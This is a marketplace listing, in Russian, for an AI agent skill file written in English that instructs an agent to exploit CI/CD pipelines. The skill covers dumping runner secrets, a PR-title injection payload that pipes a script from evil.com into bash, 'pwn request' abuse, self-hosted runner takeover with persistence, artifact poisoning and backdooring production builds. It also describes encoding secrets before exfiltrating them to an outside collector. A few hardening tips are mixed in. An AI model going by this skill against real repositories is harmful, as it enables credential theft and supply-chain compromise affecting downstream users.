Перейти к содержимому
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
aeondave/cicd-techniqueLinux, облака и контейнеры

cicd-technique

⁨CI/CD supply chain methodology: identifying poisoned pipelines, unsafe GitHub Actions, and extracting build secrets.⁩

v2026.11.13-21cd5682 установки+2 за 7 дней39 Звездысинхронизировано 10 часов назад

Установка

Ещё нет NotHoly CLI? Сначала установите её.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/cicd-technique

Пишет в ⁦~/.notholy/skills⁩ после проверки подписи и SHA-256.

ПодписьПодписано, ed25519
hEtcibe0Ab…xEYKgqCw==CLI проверяет SHA-256 и подпись, прежде чем записать хоть один файл.
Пакет98555972…127acd1f
98555972dee3…c60f127acd1f1 файл · ⁦2.8 KB⁩
ПроверкаСредний3 замечания
  • command.pipe_to_shellSKILL.md:28
  • Лицензия не найдена
  • Ссылки на внешние домены
Вся проверка
Источникgithub.com/AeonDave/malskill/tree/main/offensive-techniques/cicd-technique@21cd568

Эта запись еще не переведена на русский, поэтому показан текст на другом языке: English.

Goal: Exploit CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins) to achieve code execution in runners, extract pipeline secrets, or backdoor production artifacts.

When this technique applies

  • Evaluating a repository for supply chain vulnerabilities.
  • Gained access to a repository with write permissions to Pull Requests, Issues, or Wiki.
  • Compromised a CI/CD runner container.

The Execution Workflow

1. Runner Context Enumeration

If you achieved execution within a pipeline step (e.g., via Poisoned PR):

  • Dump secrets: Run env, search for AWS_ACCESS_KEY_ID, GITHUB_TOKEN, or $NPM_TOKEN.
  • Identity: For GitHub, investigate ACTIONS_ID_TOKEN_REQUEST_URL for OIDC (OpenID Connect) trust to AWS/GCP/Azure.

2. Identifying Injection Vectors

Review the pipeline configuration files (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile).

  • Untrusted Input in Scripts: Look for run: blocks that echo/execute issue names, PR titles, or commit messages without sanitization:
    yaml
    - run: echo "Checking PR title: ${{ github.event.pull_request.title }}"
    (A PR titled "; curl http://evil.com/shell.sh | bash; " will execute).
  • pull_request_target Abuse ("pwn request"): Workflows using pull_request_target run with elevated repository permissions and access to secrets. If they explicitly check out the fork's head (ref: ${{ github.event.pull_request.head.sha }}) and then run npm install, make, or any build step, attacker code executes with the workflow's full privileges.
  • Self-Hosted Runner Takeover: Non-ephemeral self-hosted runners on public repos are compromised by submitting a PR that adds a job with runs-on: self-hosted. The first-time contributor gate can be bypassed once any prior PR is merged; the runner then executes attacker code, and persistence (cron/systemd/.bashrc) is often possible because the runner reuses the same workspace between jobs. Named 2024 cases: PyTorch, TensorFlow, Microsoft DeepSpeed.
  • Artifact Poisoning: A low-privilege workflow (fork PR) uploads a malicious artifact; a later privileged workflow downloads it and executes/extracts it. Watch for actions/download-artifact without github-token + run-id pinning, and dawidd6/action-download-artifact <v6 (searches forks by default — GHSA-5xr6-xhww-33m4). Also actions/download-artifact <4.1.3 has arbitrary-file-write on extraction (GHSA-cxww-7g56-2vh6).

3. Pipeline Poisoning (Artifacts)

  • Identify if the pipeline builds the production Docker image or binaries.
  • If you can push code or control dependencies (e.g., typosquatting package.json), you can implant backdoors natively into the production deployment cycle.

Resolver and cache checks

  • Python/pip: --extra-index-url is not a lower-priority fallback: pip checks all configured locations and selects the best matching version. Audit installs for private names also exposed to public indexes; use a controlled source for those names. pip install: finding packages.
  • GitHub Actions cache: Trace cached paths, key/restore-keys, and privileged consumers. Fork-PR workflows can restore base-branch caches, while caches they create are merge-ref scoped; low-trust default-branch triggers are read-only by default unless a write-capable cache-mode override is set. Check whether privileged workflows execute restored contents. GitHub cache restrictions and low-trust triggers.

Supply-chain assurance

  • Preserve one immutable identity chain: source revision and declared inputs → builder/build provenance → artifact digest → tests and signature → promoted artifact; verify artifact tests, signatures, and promotion reference the same artifact digest, not a rebuilt or substituted file. SLSA build provenance.
  • Treat an SBOM as a component inventory, not evidence that the artifact has no vulnerabilities; use VEX to record vulnerability applicability for the exact product/version with a justification or impact statement.
  • Verify signatures/provenance against policy: artifact digest and builder identity bind claims to bytes and a build identity, but neither alone establishes that the builder or output is trustworthy. SLSA verification.
  • Pin GitHub Actions to a full-length commit SHA (and verify it belongs to the intended upstream repository), not a mutable tag; retain dependency lockfiles for the action's build where applicable. GitHub security hardening.

Quality Gates

  • Beware of Production Impact: Do not blindly merge poisoned Pull Requests into main. Injecting a backdoor into a build pipeline will trigger incident response or deploy malware to live customers. Keep proofs restricted to harmless env | grep outputs (secrets are log-masked; base64/hex-encode before exfil) sent to an out-of-band (OAST) collector.
  • Avoid Credential Rolling: Only read CI/CD secrets. Do NOT rotate or regenerate them, as it will break the production pipeline completely.

Файлы этой версии

Права

ПравоЗаявленоНайдено проверкой
Читает файлыНетНет
Пишет файлыНетНет
Выполняет команды shellДаДа
Ходит в сетьДаДа
Использует коннекторыНетНет
Управляет браузеромНетНет

Замечания проверки

Проверено 13 нояб. 2026 г.

  1. СредняяКоманда · command.pipe_to_shellSKILL.md:28
  2. СредняяЛицензия · Лицензия не найдена
  3. ИнфоСсылка · Ссылки на внешние домены

Чистая проверка снижает риск, но не доказывает, что пакет безопасен. Читайте то, что ставите.

ВерсияОпубликованаКоммитSHA-256ПодписьИзменение прав
v2026.11.13-21cd56813 нояб. 2026 г.21cd56898555972Подписана–

Спрашивайте обо всём, что позволяет ваш скоуп.

Создайте аккаунт, пополните баланс и задайте первый вопрос в чате или в терминале.

  1. 1/3

    Создайте аккаунт

    Личный или для компании. Позже можно перейти на аккаунт компании без потери баланса и ключей.

    ЛичныйКомпания
  2. 2/3

    Пополните баланс

    Картой. Оплата за токены, без подписки.

    $5.00минимальное пополнение
  3. 3/3

    Спрашивайте

    В чате, или установите CLI и выполните notholy login в терминале.

    $ notholy login